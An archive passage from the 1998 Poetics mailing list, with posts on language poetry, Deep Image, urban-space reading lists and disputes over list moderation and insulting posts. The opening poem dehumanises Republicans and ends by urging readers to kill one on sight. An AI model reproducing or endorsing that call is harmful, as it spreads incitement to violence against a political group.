Republicans ooze from their heads what is left of soul's rubbish
i could not stand to be in a room with one of them
they are objects for me, they reek of flesh gone sour
i would be a lichen to their rock, corroding their violent granite
they would kill everyone with guns and they are all white men
every last one of them, no matter what drear affirmation
white men filled with dead pus: they stomp the children of the poor,
rape pollution laws, guarantee we'll drown the world in poison.
we're raped with rusted guns from world war two three four
while they fight the righteous fight against women sex longing
holding dead children on sticks to slap us with, banner banner
big money big money
i couldn't stand to party with righteousness
i couldn't stand to fuck righteousness but their holes are closed
they have no holes, shit leaks from their mouths,
piss leaks from their eyes, they write vomit
they are a real danger, never forget this, behind words
are guns and mobs and real men, you never forget a real man
when you look into his dead dead eyes, when you see a Republican
on the road, kill it, it is not quite human

- Jennifer

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403. groberts
Re: erasing
Thu 10 Dec 1998

Of syllables and words I sing,
Of scribbling and eras---.

"The Perfectionist"

He sat up at nights in a rage,
A-rub-rub-rubbing at his page.

"The Suitors' Discovery"

'Listen, something's got to be done:
Every night her weaving's undone!'

"Savage In-dig-nation"

The antic horde were hell-bent on razing
The Tower, and it fell down, erasing

"Pop Art"

Daffy's upset that the Hand defaced him,
So to clear things up the Hand erased him.

"On Some Shells Found Inland"

Some whole, most broken, but all bleached
By the light of the end they've reached.

"The List Remains Behind"

Into the space of the gods who departed,
Some laughed, some cried, some sighed, and some farted.

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404. Emily Lloyd
Baratier's Silliman question
Thu 10 Dec 1998

I feel weird about this, because I'm unclear on whether it constitutes an uncouth "frontching" of a backch--plus, I didn't save the bc and now must paraphrase. BUT, David, the sequence: Simon mentioned Hejinian as a L=A=N=G poet; I mentioned that I didn't think so; he asked why & who was if not she; I tried to answer re: Hejinian but (frontch) deferred to someone like Ron or anyone more in the know as to who IS because (this is what I wrote) I don't know exactly who identifies as a L=A=N=G poet. Ron backchanneled that he didn't think anyone "identified as a Language poet" but that it was a label sort of externally foisted on certain writers, and that Hejinian's recent work is certainly as languagey as any language poet's.

I didn't write back to Ron; I really just don't know enough. It was my impression that some folks got together and this eventually culminated in, among other things,_The L=A=N=G=U=A=G=E Book_--a book that included folks that identified as L=A=N=G poets. I thought perhaps Ron's different spelling/version, "language poet" might stand for the more casual slung-around use of the word that has developed since those early yrs, and that people didn't identify as language poets, but perhaps some identify as L=A=N=G=U=A=G=E poets (although I'd always used the "equal sign" spelling in my frontch posts). I took it that Ron meant either that, or that I was dead wrong (entirely possible; I read

The L=A=etc. Book very long ago), and that it never *was* at some point a conscious "movement" or "set of ideas" or "set of people."

At the time I didn't know why Ron backchanneled that response, as it was Simon who originally wanted to know "who the L=A=N=G poets are, if not Hejinian." Since it seemed designed to inform and not to "get personal," I don't think it's wrong, or too wrong, to paraphrase it here, now...

em

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405. Gabriel Gudding
Re: Don't all call me Archibald Cox at once (or even James G. Farley)
Thu 10 Dec 1998

On Thu, 10 Dec 1998, Jordan Davis wrote:

> *So, just to be*
> *clear, is this now*
> *a moderated list? Just*
> *want to know what*
> *I'm posting to, and*
> *whether I can expect*
> *messages I (or anybody*
> *else on the list) sends*
> *to be delivered.*

DEAR HILLARY RODHAM WHATEVER SIGRETTI:

No, you cannot expect your messages necessarily to reach the list. Henry had two that were erased because they did not pass muster and I have had one that has disappeared from my screen this afternoon and has not resurfaced in this esteemed and ringing piazza, and yeah it's a little fucking irksome, nor furthermore has my POLITE query about where in Ultima Thule my post went been answered.

Wondering if you'll get this,

Guttapercha B.

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406. Poetics List
Posting to the list
Thu 10 Dec 1998

In reply to recent queries, there has been no change in the structure of the list. The Poetics List is edited and will remain so for the forseeable future; however,

please be aware that all posts sent to the list by subscribers go immediately to the list, *without exception*.

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407. Marcella Durand
urban space
Thu 10 Dec 1998

Simon,

as a poet intensely fascinated by urban spaces & structures, here are some books I've found most helpful & interesting:

City of Quartz by Mike Davis
Flesh & Stone: The Body and the City in Western Civilization by Richard Sennett (Sennett in general good read)
Cities by Lawrence Halprin
Design of Cities by Edmund N. Bacon
Angst: Cartography by Mojdeh Baratloo & Clifton J. Balch
The Life & Death of Great American Cities by Jane Alexander (not sure on author name, someone stole my book,as it is irresistable read)
Lost Cities by Vittoria Calvani
Architecture without Architects by Bernard Rudofsky (not precisely on urban planning, but I think deals with unexpected urban beauty)
The Built, the Unbuilt and the Unbuildable, by Robert Harbison
Big City Primer, John Yau
Invisible Cities, Italo Calvino
Paris Peasant, Louis Aragon

There was some eco-magazine out for a while, Terra Verde? Terra Infirma? Can't remember exact name, but had some great essays on particular urban topics, especially in one issue called "Wild City." There was also a feminist magazine (I'll try & look it up--scribbled it down somewhere) in the 80s that has a super issue on women & urban spaces--really interesting essay on woman who designed gardens in Washington DC, counterpoint to huge pointy monuments...

And a digression: on the whole List debate, I am a digester & mostly lurker who frequently deletes the entire thing unread, so missed the initial sparks. But somehow this resultant explosion has opened up the List more for me--made me feel that it is growling & moving, even if every step is not perfect for everybody. I haven't reconciled how I feel about someone being cut off the list, but must admit that the list now feels less monotonous, more names, voices cropping up here & there, more breathing space

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408. Wystan Curnow
Re: "Deep Image"
Thu 10 Dec 1998

Daniel,
You should search the POETICS archive. I have a memory of
Jerry Rothenberg who is on the list posting something on the term.
Robert Kelly I remember as a list member although not heard from for
a long time.
Wystan
> Am wondering if anyone on this list can point me to essays which analyze
> the "Deep Image," particularly if such essays look at the
> "movement" in an historical perspective -- i.e., by looking at the
> magazines "Trobar" and/or "Pictures from the Floating World" and their
> complicated relationship to/reconciliation of "outsider" poets like R.
> Kelly and "academic" poets like James Wright. You can backchannel me at
> <[redacted]>. Much appreciated.
>
> Also want to say that the book _Close Listening_, ed. Charles Bernstein
> and published by Oxford University Press, is just terrific -- smart essays
> dealing (finally!) with and exploring the fact that poetry is experienced
> as a spoken and social thing as much as a read thing. Anyone know if
> there are essays looking at the potential effects of stage fright on
> reception of a given poem?
>

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409. Carl Wilson
Re: urban space
Thu 10 Dec 1998

> *The Life & Death of Great American Cities by Jane Alexander (not sure on author name, someone stole my book,as it is irresistable read)*

Jane Jacobs, who's generally a superb writer on urban space/economies.

Carl W.

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410. **Wystan Curnow**

Re: Baratier's Silliman question

Thu 10 Dec 1998

Dear Emily, Ron Silliman also frontchannelled along related lines Nov.18. when he referred to a Poetry Flash of 1979 as the first use of the 'language poets' label. That sort of local knowledge is invaluable. My first encounter was in 1980 when I bought 6 issues of L=A=N=G=U=A=G=E magazine from Sandollar books. Ron doesn't refer to the magazine, which predates the Poetry Flash issue and is surely the source for the label. (The L=book is of course an anthology of pieces from the (by that time defunct) magazine.) The equal signs between the letters stretch serve to stretch the title across the top of the front cover

Lyn Hejinian contributed to number 3, (1978), no 7 (1979), is a featured writer in number (1979 and she is reviewed in number 11 (1980) and number 13 (1980) in which Bernadette Mayer review's My Life. In so far as the contributors to the magazine made up a community of shared interests, she is clearly a member of that community. To identify that community by the name of the magazine between whose covers they were gathered seems quite reasonable to me.

Wystan

Ron
> backchanneled that he didn't think anyone "identified as a Language poet"
> but that it was a label sort of externally foisted on certain writers, and
> that Hejinian's recent work is certainly as languagey as any language
> poet's.
>
> I didn't write back to Ron; I really just don't know enough. It was my
> impression that some folks got together and this eventually culminated
> in, among other things,_The L=A=N=G=U=A=G=E Book_--a book that included
> folks that identified as L=A=N=G poets. I thought perhaps Ron's different
> spelling/version, "language poet" might stand for the more casual
> slung-around use of the word that has developed since those early yrs, and
> that people didn't identify as language poets, but perhaps some identify
> as L=A=N=G=U=A=G=E poets (although I'd always used the "equal sign"
> spelling in my frontch posts). I took it that Ron meant either that, or
> that I was dead wrong (entirely possible; I read _The L=A=etc. Book_ very
> long ago), and that it never *was* at some point a conscious "movement" or
> "set of ideas" or "set of people."
>

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411. Eliza McGrand
miss priss speaks up (ahem)
Thu 10 Dec 1998

ok, i've been saying this backchannel, i think a bit frontchannel, but i'll say it straight out now and those of you who disagree or feel pointed at are welcome to email me about it.

1) alan s. and i have discussed this a bit -- those of you who feel this list is in some sort of terrible shape, awash in censorship, mean posts, etc., you are being awfully spoiled and naive. this isn't a bad thing -- people who are demanding (even if because from privilege and naivete,) while annoying, are often helpful -- their demands and expectations help set and keep up standards. but as a quick reality moment, in my not-even-that-extensive list experience, poetics is a HAVEN of subject-focused, intelligent, witty, pleasant posts. i have NEVER seen flames of the ilk i've seen elsewhere. without verbatim quoting, suffice to say i've seen other lists/bulletin boards with posts of MUCH lower levels, routinely, despite other posters of erudition and charm; i'm talking about posts with vitriolic, namecalling, swearing, just plain dumb/missing logic and schoolyard rhetoric. and i mean schoolyard, as in "you *%$(*&^%)%$(* your mother is a)@#)(*." if you have difficulty believing this, take a few hours and browse around on poetry bbs and listserves. this list is amazing; please stop selling it short.

2) i am just plain sick and utterly tired of the backchannel, backstabbing, cowardly complaining going out to charles/joel. if you have a beef with someone's post, instead of writing joel and charles about how someone is a blah blah blah and their posts are blah blah blah and please revoke their membership to the country club and we wouldn't want the kaffirs getting the wrong idea and heavens they're offending the mem sahib, just, for heavens sake, get a spine and write the person whose posts bug you DIRECTLY telling them their posts bug you and why. i.e. start a dialogue with the person you have a problem with and take responsibility, up front, for what bothers you. there is more than one person on this list with whom i have done this and i've never had an impossibly terrible experience. in some cases, i've made a new friend. in all but one case, poster and i came out of it with each having gotten some insight. it is totally unfair, burdensome, and i'm sorry, but i think, cowardly and irreponsible to pester joel and charles with these sorts of complaints. i could see it in case of actual danger -- at one point on this list, someone was sending mailbombs, both to list, and when i wrote them about something else, to me. that is the one contrary instance. in that case, i did drop a note to j&c to the effect that so and so was mailbombing not just list, but me. joel and charles both got very upset and immediately wrote to make suggestions and offer support. that is the only situation i can think of at moment when i would complain, backchannel,

privately, to them about something i might not take up directly with person offending me.

this complaining about so and so's posts not being up to scratch to charles and joel just reminds me of the gossip and throatcutting of a petty middleclass country club. having had a peripatetic (metaphorically) childhood, i have had occasion to see a group of petty bourgois, as one example, debating whether so-&-such REALLY belonged in club because at s&s's party, toward the end of the evening, someone saw s&s pouring store-brand liquor into namebrand bottles. said group delegated someone to complain to manager of club. can anything be more petty and disgusting? if so, i have no wish to hear about it.

just as in that instance, i probably would have asked s&s if they had run out and would like me to make a liquor run if i thought that was the case, or if i thought they just didn't want to waste expensive alcohol on drunken people, or didn't have the money to spend, shrugged and left it alone so, in the instance of posts one doesn't like, there are, as has been said, numerous simple remedies. we don't have to be suburban and complain they are "ruining the neighborhood"; the delete key is democratic and available to all. or one can discuss the matter directly with person involved -- life is open to varied and multiple interpretations, no? do you ALWAYS know what someone meant, exactly, by a post? lacan/deconstruction/lacan/deconstruction...

3) more than once, i've heard complaints and distress by women. things it revolves around are a) post by woman being ignored by subsequent male posters, or issues therefrom being attributed to another poster (male); b) long windy posts appearing to exist primarily to quash and abash female poster-of-origin on topic, or respondant; c) posts dismissive of women and women's issues. i've heard it enough that i believe it. i speak from some abashment as a frequent poster (am perhaps inherently a noisy, tough lot) but even so, have much sympathy for other, less thick-skinned sisters. and am saddened and pained by each gentle, sad note i have received (and there have been many) backchannel thanking me for posting on thus and such (especially women's issues, but also by newbies) and mentioning a personal difficulty/diffidence/ discomfort that prevents frontchannel mention.

suggestions: all (not just men), could we be more sensitive to source of issues/ questions/posts? careful not to misattribute/obliterate anyone's (especially women's) portion of debate in issue? an effort to respond not just to the windy, like me, but the shy and short posters? an effort to be especially welcoming to women/newbie posting?

as a subnote, there is among women (i think anyway) an elaborate and exquisite ritual of mutually affirming sarabande, of placing any critique/comment in a context of affirmation, compliment, reassurance. i would refer you all, for

particularly adroit and lovely examples of this, to any post by maria damon. i think for women, one learns to be careful and respectful. for some, what feels like normal posting may feel, to women, like rude and dismissive and disrespectful response. all i can say is, whenever i read a maria damon post, i invariably feel soothed, interested, and utterly awed by her grace. could we all try to take on some of that care and respect? i'd love to see this tendency toward carefulness used to elevate and better posting, rather than dismissed.

the lovely and gracious and noisy and always-perfect
e

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412. **Pierre Joris**
Re: "Deep Image"
Thu 10 Dec 1998

Daniel Kane wrote:

> *Am wondering if anyone on this list can point me to essays which analyze the "Deep Image," particularly if such essays look at the "movement" in an historical perspective -- i.e., by looking at the magazines "Trobar" and/or "Pictures from the Floating World" and their complicated relationship to/reconciliation of "outsider" poets like R. Kelly and "academic" poets like James Wright. You can backchannel me at <[redacted]>. Much appreciated.*

Ah! wish there was such a work -- been trying to get a grad student to do a diss on exactly this subject for years now. But it hasn't happened yet, and I don't know of anything specifically on DI except for bits and pieces here and there, for example some of the early pages in Paul Christensen's book on Eshleman. What you can however get ahold of is the raw material, i.e. the essays & correspondence re Deep Image. Essential in looking at that event is however the fact that what you call the "outsider", i.e. Robert Kelly (& Jerome Rothenberg. whom you don't mention) were in fact the "insiders" (Yes, I know how you are using the term in your query) : "Deep Image" as an _appellation controlée _was taken over after the fact (& the brief duration) of the initial burst of thought & writing about that idea by the "academics" like James Wright -- & this happened, I believe, via the one outsider momentarily close the the original DI poets, namely Iron John hisself. The hijacking of the name (which the original conceivers of the trademark had indeed by then if not renounced, at least left behind as not only being of limited use qua poetics but also because of an unease or unwilligness to create a 'movement' with the usual avant-gardish manifestos, etc.) has now gone down in lit-crit so that references in trad lit histories (if indeed they do mention it) to DI will cite the latter pale imitators.

So that, the texts needed to look at to get a sens of DI are indeed foremost the issues of Trobar & Floating World. The first issue (1960) of Trobar, for ex., is poetry rather than statement (i.e. the horses rightfully in front of the cart) and includes work by Antin, Duncan, Economou, Eshleman, Kelly, Rothenberg & a few more. Issue 2 (1961) has the same minus Antin plus Rochelle Owens, Seymour Faust, Armand Schwerner and poets (only liminally or not DI) such as Blackburn, Creeley, Dorn, Jones (now Baraka). It also has Robert Kelly's statement "Notes on the Poetry of Deep Image." This statement is a response to Rothenberg's writing on Deep Image in issue # 2 of The Floating World. Issue #3 of Trobar has a similar line-up of poets and Rothenberg's essay "Why _Deep_ Image?" Next important gathering on DI is in Kulchur #6 which prints an exchange of letters between Rothenberg & Creeley (reprinted in Rothenberg's volume of essays "Pre-Faces"). There were some other letters (notably a Denise Levertov letter I have not been able to locate).

Issue #7 of VORT (the Antin/ Rothenberg issue) has excellent interviews with both JR & DA that bring up the matter of DI. (It also prints a useful essay by Kevin Power called "An Image is an Image is an Image" and Eric Mottram's excellent "Where the Real Song Begins"). Vort #8 has a Schwerner interview which also addresses AS's connections to & thinking about DI. Then there is Robert Kelly's "Statement" from, I believe, 1968, published as a pamphlet by Black Sparrow. Diane Wakowski, also an early DI participant, has a small essay called "Jerome Rothenberg's Deep Image" -- and her Sparrow #3 issue, "Form is an Extension of Content" also helps to configure the issue.

That's all I have energy for tonight --

Pierre
--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

— Maurice Blanchot
==========

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413. **Emily Lloyd**
Re: Baratier's Silliman question
Thu 10 Dec 1998

Gotcha. I owe you an apology, Simon (and whoever else listened): Hejinian's a L=A=N=G=U=A=G=E poet. Plus, I've just heard bc that she refers to herself as one to this day. Sorry if I misled or put you on the defensive. And thanks, Wystan, for clearing it up.

em

On Fri, 11 Dec 1998, Wystan Curnow wrote:

> *Dear Emily,*
> *Ron Silliman also frontchannelled along related lines Nov.18. when he referred to a Poetry Flash of 1979 as the first use of the 'language poets' label. That sort of local knowledge is invaluable. My first encounter was in 1980 when I bought 6 issues of L=A=N=G=U=A=G=E magazine from Sandollar books. Ron doesn't refer to the magazine, which pre-dates the Poetry Flash issue and is surely the source for the label. (The L=book is of course an anthology of pieces from the (by that time defunct) magazine.) The equal signs between the letters stretch serve to stretch the title across the top of the front cover*
>
> *Lyn Hejinian contributed to number 3, (1978), no 7 (1979), is a featured writer in number (1979 and she is reviewed in number 11 (1980) and number 13 (1980) in which Bernadette Mayer review's My Life. In so far as the contributors to the magazine made up a community of shared interests, she is clearly a member of that community. To identify that community by the name of the magazine between whose covers they were gathered seems quite reasonable to me.*
>
> *Wystan*
>
> *Ron backchanneled that he didn't think anyone "identified as a Language poet" but that it was a label sort of externally foisted on certain writers, and that Hejinian's recent work is certainly as languagey as any language poet's.*
>
> *I didn't write back to Ron; I really just don't know enough. It was my impression that some folks got together and this eventually culminated in, among other things,_The L=A=N=G=U=A=G=E Book_--a book that included folks that identified as L=A=N=G poets. I thought perhaps Ron's different spelling/version, "language poet" might stand for the more casual slung-around use of the word that has developed since those early yrs, and that people didn't identify as language poets, but perhaps some identify*

> *as L=A=N=G=U=A=G=E poets (although I'd always used the "equal sign" spelling in my frontch posts). I took it that Ron meant either that, or that I was dead wrong (entirely possible; I read _The L=A=etc. Book_ very long ago), and that it never *was* at some point a conscious "movement" or "set of ideas" or "set of people."*

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414. **eurydice**

Re: Big Allis Information

Thu 10 Dec 1998

I'm a smidgen loathe to post this, since I'm not otherwise taking part in discussions lately, and also because I posted heaps of Big Allis information several months ago, but as it was especially requested (and I'm thrilled by the interest), here goes.

The initial contact for subscriptions and related matters is me:
Deirdre Kovac
20 Douglass Street, #3
Brooklyn, NY 11231
[redacted]

The initial contact for submissions and related matters is:
Melanie Neilson
11 Scholes Street
Brooklyn, NY 11206

As for contents--the most recent issue, Big Allis 8 (lukewarm of the presses), featues a selection of work by writers in Great Britain and Ireland (guest edited by Fiona Templeton), namely: Caroline Bergvall, Karlien van den Beukel, Andrea Brady, Miles Champion, Ken Edwards, David Kinloch, Sarah Law, Tertia Longmire, Helen Macdonald, Rob McKenzie, Drew Milne, Catherine Walsh, John Wilkinson, and Aaron Williamson. The other contributors to this issue are: Bruce Andrews, Graham Foust, Bob Harrison, Noah de Lissovoy, Alison Lune, Heather Ramsdell, Lisa Robertson and Christine Stewart, Juliana Spahr, Stephanie Strickland, H. T. (Heather Thomas), Rodrigo Toscano, and Liz Waldner.

A single issue is $8 (there was a special "poetics et alia" offer through Halloween for $6--which could perhaps be extended through the upcoming holidays if someone asks), and a two-issue subscription is $16.

I think that covers all the bases. Many thanks to Patrick for the enquiry. (Considering throwing my hat into one other fray or another some evening when there's more hours in the day.)

Best,
Deirdre Kovac

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415. Wystan Curnow
Re: God Bless the Tumors, the Boils and the Blisters
Thu 10 Dec 1998

> *Gabriel Gudding wrote (in part)*
>
> *I was going to reserve this 30 min's of freetime tht I now have for posting a few more thoughts on the THEORY OF SLAPSTICK POETICS. But the news of Henry's departure has so saddened me I am moved to write a meta-poetics commentary.*
>
> *Some have said CB is killing an essential part of this list with his interventions.*
>
> *I have even gone so far as jokingly to call CB a controlling prig.*
>
> *One or two of us have however gone on to compliment CB on his open-minded and fair attitude (I am one of these). I compliment CB on his open mind.*

Dear Gabriel, This so-called Slapstick Poetics of yours, it really seems to have made an impact. I'm not sure I quite grasp it, as you have had precious little to say theoretically about it. But let me try it myself and you can tell me how I'm going,ok?:

Gabriel Gudding is an abusive, insulting, humourless, garrulous no- count poseur (I'm sure I wrote poster?) so say some people. Not frontchannel mind you. And not me. I love him. He's so fine.

Some say his failed attempts at humour which simply end up giving gratuitous offence is doing damage to the sense of community on which the success of the list depends. But not me. I did not say it. I did not. I love him. He is an honourable man. Others say his posts are hilarious, challenging, cheeky. Not me, however.

Is this how it goes, Gabe? And where does it go from here? I am not sure of the point of saying gross, stupid, things about a person and then nice approving things about them, except that it is rather liberating and such fun and gets up people's noses, so perhaps you could go into this in more depth. Thanks.

Wystan

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416. **david bromige**
Baratier/Silliman/origins of Langpo as term
Fri 11 Dec 1998

Ron I'm sure is accurate in identifying 1979 as first use of "language poetry" (? language writing?) as a term for that poetry now known by that name. I think, though, that the zine L=A=N etc started up in '78? There is also Michael Davidson's title "The Poet as Language" for a piece he published in _Credences_ zine in 1975 on the book _Tight Corners_ .

Btw, I assumed that it was L=A=N etc because of the care required to move back and forth, typing, from uc to lc to uc, etc. That was token of a care in reading same.

David

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417. **Jim Bennett**
Re: Baratier's Silliman question - Post-Lanpo
Fri 11 Dec 1998

For clarification. Thank you for the interesting information about Lanpo and esp the origins of L=A=N the symbol. I realise that you were talking about the position of Lyn Hejinian in aligning herself to a group with shared interests, but by the same token of inclusively, does the same postulate mean there are no writers who could be considered part of that "movement" if not in the original mag? Are they "Post-Lanpo" or "Post-L=A=N" etc. Perhaps with the inclusion of many of the experimental techniques in mainstream poetry collections, we should use "After Lanpo" as a description, and save Post-Lanpo for the cutting edge a-g.

Jim

Click on this link to vote for my site. http://conline.net/vote.mv?id=1780

Click on this link to visit my site.
http://www.geocities.com/Athens/Academy/1127/

"Poetry is what the future makes of it." John Garner

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418. Randy Prunty
Re: Readings in Austin / The Hat (if this gets through...)
Fri 11 Dec 1998

Dale, your post reviewing The Hat made it through to me.
Randy

Dale wrote: <Finally, I wrote a post on Friday for delivery to the list, but through some kind of intervention, it never arrived. It was a review of The Hat, edited by Jordan Davis and Chris Edgar.>

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419. charles alexander
Re: urban space
Fri 11 Dec 1998

Marcella,

With this interest in space, you might like a book from a symposium a few years ago. Thebook is MAKING WORLDS: Gender, Metaphor, Materiality, ed. by Susan Hardy Aiken, Ann Brigham, Sallie A. Marston, & Penny Waterstone, pub. by U of Arizona Press in 1998. It is described as follows: MAKING WORLDS brings together feminist activists, artists, and scholars to address a series of questions that resonate with increasing urgency in our global environment: How is space imagined, represented, arranged, and distributed? What are the lived consequences of these configurations? And how are these questions affected by gender and other socially constructed categories of "difference" -- race, ethnicity, sexuality, class, nationality?

Not specifically about urban space, but includes that, and gives a differently gendered approach than that of most authors in the list below.

charles

At 09:18 PM 12/10/98 -0500, you wrote:
>Simon,
>
>as a poet intensely fascinated by urban spaces & structures, here are some books I've found most helpful & interesting:
>
>City of Quartz by Mike Davis
>Flesh & Stone: The Body and the City in Western Civilization by Richard Sennett (Sennett in general good read)
>Cities by Lawrence Halprin
>Design of Cities by Edmund N. Bacon
>Angst: Cartography by Mojdeh Baratloo & Clifton J. Balch

>The Life & Death of Great American Cities by Jane Alexander (not sure on author name, someone stole my book,as it is irresistable read)
>Lost Cities by Vittoria Calvani
>Architecture without Architects by Bernard Rudofsky (not precisely on urban planning, but I think deals with unexpected urban beauty)
>The Built, the Unbuilt and the Unbuildable, by Robert Harbison
>Big City Primer, John Yau
>Invisible Cities, Italo Calvino
>Paris Peasant, Louis Aragon
>
>There was some eco-magazine out for a while, Terra Verde? Terra Infirma? Can't remember exact name, but had some great essays on particular urban topics, especially in one issue called "Wild City." There was also a feminist magazine (I'll try & look it up--scribbled it down somewhere) in the 80s that has a super issue on women & urban spaces--really interesting essay on woman who designed gardens in Washington DC, counterpoint to huge pointy monuments...
>
>And a digression: on the whole List debate, I am a digester & mostly lurker who frequently deletes the entire thing unread, so missed the initial sparks. But somehow this resultant explosion has opened up the List more for me--made me feel that it is growling & moving, even if every step is not perfect for everybody. I haven't reconciled how I feel about someone being cut off the list, but must admit that the list now feels less monotonous, more names, voices cropping up here & there, more breathing space
>
>

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420. **Roger Day**
Re: urban space
Fri 11 Dec 1998

I've often loitered over "The Poetics Of Space" - a title and book which nicely conflates your topic and this list - by Gaston Bachelard, Maria Jolas (tr) - but never bought it. I think I shall. See

<URL:http://www.amazon.com/exec/obidos/ASIN/0807064734/qid=913388146/sr=1-2 /002-1202663-4479056> for reviews.

> # >And a digression: on the whole List debate, I am a digester & mostly
lurker who frequently deletes the entire thing unread, so missed the

initial sparks. But somehow this resultant explosion has opened up the List # more for me--made me feel that it is growling & moving, even if every step # is not perfect for everybody. I haven't reconciled how I feel about someone # being cut off the list, but must admit that the list now feels less # monotonous, more names, voices cropping up here & there, more breathing space

Change will do you good..mmm..mm...

Roger

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421. David Baratier
Big Mouth Strikes Again
Fri 11 Dec 1998

I have been in absentia for a bit, I want to get to some scene reports but first a number of things to say--

First, has anybody seen the new Georgia Review, I understand they reviewed one of Pavement Saw's titles _Wherever You Want_ by Douglas Goetsch & I am unsure of what their words were.

Second, when I visited APR I was amazed to find out that they too ran a fully anonymous submission process, and for the Honickman award they too ended up with a new comer who only had three credits in little magazines. As a plug, one of these fine magazines, Nedge, is run by our former list member Henry Gould. Yet another nail in the coffin of my theory that anonymous competitions result in publishing unknown/rarely published talent.

Third, for Ron Silliman, I understand there was question posed a few weeks back about people upholding the Language movement and not to see a response from Ron seemed odd. I say this because a few weeks ago when I went to hear Rae A. read at Penn for some unknown reason the introduction consisted of Ron emphasizing that Rae was a Language poet. While I was hoping for an articulation of why he found her work scintillating, instead he spent his time reifying that she was a language poet through saying it over and over again without justification as to why. Such statements as "while her lines are different than most people associated with the movement, she is a language poet" were offered as clarification. I found this quite baffling for a movement that has prided itself on its use of theory in and about poetry. I still am curious as to why Ron thought this type of introduction was necessary.

As for this debate about people leaving, and the questions presented, I have been on for at least three years maybe four and have never received a warning. I have not always been active on the list for this duration either. Censorship or perceived censorship is a wonderful conduit for writing. What can be better

than emotionally charging or intellectually challenging one to action? Even if the action is to leave this list and transit to another stable of writers. If one feels they are in strife or opposition with one particular sect, it fuels something, preferably new. Perhaps I sparked a few things which could be considered dog-house material, esp. when first starting. I am on the list because little attention is paid to Language and Language influenced material outside of the two coasts. I want to be aware of the rare flares of excellent material. Being aware of who the popular practicioners of the movement are also allows me to pick up the books in the cut out bins of Ohio and sell them for a profit when heading coastward.

Be well

David Baratier

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422. Jacques Debrot
Re: Baratier/Silliman/origins of Langpo as term
Fri 11 Dec 1998

I have heard that the title for L=A=N=G=U=A=G=E was designed by Ray Di-Palma; curious to know whether this is so.

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423. Billy Little
Re: miss priss speaks up (ahem)
Fri 11 Dec 1998

---

it would be merveilleux si nous reponde a chaque posting we'd like to respond to mais miraculous akin to anti-gravity though it's long overdo for me to say how much i delight in the majority of your postings eliza and pause in thought over them you add a very positive energy a hopefully contagious bouyancy po-ets in general women men transgenederd les het celibate poets at large are more often such sensitive plants easy to bruise even the blustery oaf poets are easy to hurt some lay awake waiting for offense to apear in their dreams. The last page of Horkheimer and Adorno's Dialectic of Enlightenment is useful here, i believe it's called the genesis of stupidity. The anti-paranoia squad requires me to say over 50% of questions i've posed have been totally ignored by all 677 lurkers and their loved ones but don't worry i'm going to do the same to each and every one of you if it takes me to the fourth millenium

Let go, shirk off the moderate little grace of vain
Cupid and grease the silver and lascivious age.
His livid qualms dope our cool arrival.

Rich poems sag like great nuns; art cheats time's martyrs.
--Lisa Robertson XEclogue

billy little
4 song st
satori, b.c. V0R1Z0

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424. Gabriel Gudding

Final (Hopefully) Note about Insult Thread

Fri 11 Dec 1998

CHARLES, PLEASE DON'T ERASE THIS! (joke)

Why I Have Been So Virile & Insulting:

1). I began these skirmishes more than 3 or 4 weeks ago in dinky annoyance at the unflaggingly petulant and oppositionalist (a)mentality that was then in vogue on this list (I'm sure never to return). This was the Pinsky/Howe-Stern=Gerontion thread, heightened then for me by MP's injection of Intolerance-etc.

2). Devising an experiment, I did, with gestures bombastic, heighten my rhetoric daily, the purpose of which was to eventuate (yes I use it as a transitive verb) a call for Tolerance or Moderation or Open-ness (i say we hyphenate all double consonants) -- this in part having been effected. My attempts to upset this list's petulant equilibrium were intensified in commentary to Perloff in brilliant contravocality to her insufferable advocacy for an increased intolerance in this company. Said rhetoric has continued to heighten.

3). I am now told many have left this list because of said racier intra-groupal-insulting rhetoric, which is bearing some of the finest argumentative techniques we have (and bristling with them furthermore): irony; satire, humor; atopical disquition, ad hominem, attribution of improper, foolish or otherwise ludicrously incongruous attributes of character and intellect (name-calling), and the use of a contemptuous tone and diction. Most of which intentions have already been posted publicly. I would make a bomb. (joke). Purpose?: Direct idiotic avant-garde pukery inward. Mine was a moral and a merry war.

4). My rhetoric was High, Frothy, & Exciting, yes. Very blurtive & potent. At times, devastating. Perhaps I should have directed my attacks against the gestalt otherwise known as "The List"; instead I chose to attack some of its core members, including the list owner. I thought this a more effective method to turn The List's knee-jerk scorn inward, and in many

ways, it turns out, this does constitute a more "family-oriented" approach, keeping things personal. I saw -- as an arriviste will -- the Hodgepodge of this list as a Hegemony curled up like a Hedgehog. I needed to attack the Prominent Personalities curled in its underbelly, rather than all the barbs and spines on its dorsal side. Doing this (I am told) "outed" the uglier aspects of these personalities: someone suggested to me b-c just how closely all this parallels Wizard of Oz, in which our Dorothy (yours truly) crushes ruby-slippered critic with house-dropping rhetoric and goes on to waltz and pout her way to the unveiling of Wizard (cb) behind curtain (bad gender parallels in that sorry, but the anecdotal isn't necessarily apocryphal). Since that time people ahve been asking me in helium voice, "Are you a good witch or a bad witch?" Be that as it may, please note:

5). I took great pains to be bombastic and exaggerated -- not only to mock the earnest, but to underscore my purposes and keep Enemy guessing as to my intentions, but ALSO TO BE FUN, PEOPLE. I tried to work in caricatures not with effigies: those of you who missed this, please take a vacation.

6). My target was not Dignity but Vanity.

7). THERE IS A GREAT DIGNITY TO THIS LIST. It should be proud of itself; I am proud to be a part of it: you cannot know how much I appreciate Emily's post regarding Stein, how much I love to read these archives, how I enjoy the tiffs, what a great kick I get out of the PERSONALITIES of McGrand and Billy Little of Mairead Byrne and the poster formerly known as Henry Gould. I respect the generations represented here: the long and noble "struggle" [ahem, MP] this list represents and I respect what its subscribers have given to American letters for, in some cases, 50 years.

8). I felt compelled to attack LIST VANITY for sake of LIST BOINKY.

9). If I however had known this forum was SO delicate, so brittle, so unlike kentucky fescue, so OVERLY serious and earnest in its own self-regard, I certainly would not have posted what I did FOR

a. A cowboy does not ride upon a cat
b. A pig does not gallop in a pot
c. A man will not surf on a puddle

Once again, I thank you for your boinky. I hereby lay down my cudgels.

But I reserve the right to use my ligneous atlatl every so often.

Be well and write however the fuck you want. -persona non gaga

PS, ONE LAST THING: I love Charles Bernstein, he continues to teach us a great deal. But it is a hard love.

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425. **groberts**
Re: urban space
Fri 11 Dec 1998

